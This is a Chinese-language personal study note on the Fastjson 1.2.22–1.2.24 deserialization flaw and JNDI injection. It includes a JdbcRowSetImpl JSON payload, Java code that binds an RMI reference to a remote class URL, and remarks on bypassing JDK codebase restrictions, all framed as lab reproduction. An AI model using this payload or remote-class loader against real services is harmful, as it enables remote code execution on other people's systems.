java审计4

[基础知识]

巩固一下：深入理解JNDI注入与Java反序列化漏洞利用

Java RMI codebase 小议

ldap

[fastjson1.2.22下载]

Download fastjson-1.2.22.jar file - Jar f

下载后新建工程，导入jar包

[漏洞学习]

1.Fastjson 1.2.22-1.2.24反序列化漏洞分析:

https://xz.aliyun.com/t/8979 (漏洞复现要用1.8.0_102之前的jdk，JDK 8u113 之后，系统属性 com.sun.jndi.rmi.object.trustURLCodebase 、 com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false，即默认不允许RMI、cosnaming从远程的 Codebase加载Reference工厂类。)

因为反序列化是把字节序转化成对象，也就是等于初始化一个对象，所以反时序列化会触发set方法。jdk低版本：FastJSON中com.sun.rowset.JdbcRowSetImpl类可进行反序列化利用。反序列化触发setAutoCommit方法，其中的connect函数中存在lookup方法，传入dataSourceName值可控。

payload:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

我这里碰巧jdk版本1.8.0_131高版本未执行成功，于是学一下高版本jdk绕过

2.如何绕过高版本JDK的限制进行JNDI注入利用

JDK 6u45、7u21开始，java.rmi.server.useCodebaseOnly 的默认值就是true。而java.rmi.server.useCodebaseOnly为true时，使用rmi的class loader机制加载远程类就不行了，即命令行

-D java.rmi.server.codebase=http://remoteURL:8080/
但是仍然可以利用jndi的reference机制加载远程类。

Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exloit", "badClassName","http://remoteURL:port/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);

但是JDK 6u141, JDK 7u131, JDK 8u121之后对其进行修复，系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false，即默认不允许从远程的Codebase加载Reference工厂类。

接着解决办法瞄准了jndi和ldap的配合使用，不过在2018年10月，Java最终也修复了这个利用点，对LDAP Reference远程工厂类的加载增加了限制。在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false，还对应的分配了一个漏洞编号CVE-2018-3149。（我他喵在学啥，18年就嗝屁了）…不过这个文章提供了一个获取信息的思路----关注oracle的官网，看升级的jdk修补了哪些漏洞。

对于JDK 8u191+的高版本绕过文中也给出了两种方法：
1.利用本地Class作为Reference Factory
2.ldap 直接返回java序列化数据，不结合jndi

我这里是jdk1.8.0_131，尝试使用ldap复现
服务端监听

模拟发包实现弹出计算器

badclass